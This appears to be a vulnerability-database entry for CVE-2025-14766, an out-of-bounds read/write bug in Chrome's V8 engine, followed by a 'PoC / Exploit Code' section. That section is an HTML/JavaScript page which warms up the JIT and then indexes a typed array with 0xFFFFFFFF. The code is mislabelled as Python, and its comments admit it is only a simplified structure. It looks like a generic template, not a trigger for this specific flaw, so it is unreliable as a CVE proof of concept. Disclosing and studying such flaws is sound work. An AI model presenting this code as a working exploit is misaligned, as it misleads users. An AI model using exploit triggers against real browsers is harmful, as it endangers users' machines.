Out of bounds read and write in V8 in Google Chrome prior to 143.0.7499.147 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 143.0.7499.147
Chromium-based browsers using V8 engine < 143.0.7499.147
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-14766 PoC - V8 Out of Bounds Read/Write
// This PoC demonstrates the vulnerability trigger mechanism
// Note: Actual exploitation requires specific V8 version targeting
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-14766 PoC</title>
</head>
<body>
<h1>CVE-2025-14766 V8 OOB Access PoC</h1>
<p>Target: Google Chrome < 143.0.7499.147</p>
<button onclick="triggerVuln()">Trigger Vulnerability</button>
<pre id="output"></pre>
<script>
function triggerVuln() {
const output = document.getElementById('output');
try {
// Create array buffer with specific size
const buffer = new ArrayBuffer(0x100);
const view = new Uint8Array(buffer);
// Trigger V8 optimization path that may have bounds check issue
// This is a simplified demonstration structure
function oobAccess(idx) {
// Potential OOB access through JIT optimization bypass
// Actual exploit requires precise memory layout manipulation
const arr = new Uint8Array(16);
// Type confusion to trigger optimization bug
for (let i = 0; i < 100; i++) {
arr[idx] = 0x41;
}
return arr[idx];
}
// Heat up JIT compiler
for (let i = 0; i < 10000; i++) {
oobAccess(0);
}
// Trigger with negative or large index
// May cause OOB read/write in vulnerable versions
const result = oobAccess(0xFFFFFFFF);
output.textContent = 'PoC executed. Check browser console for crash or behavior.';
console.log('CVE-2025-14766 trigger attempted');
console.log('Result:', result);
} catch (e) {
output.textContent = 'Error: ' + e.message;
console.error(e);
}
}
</script>
</body>
</html>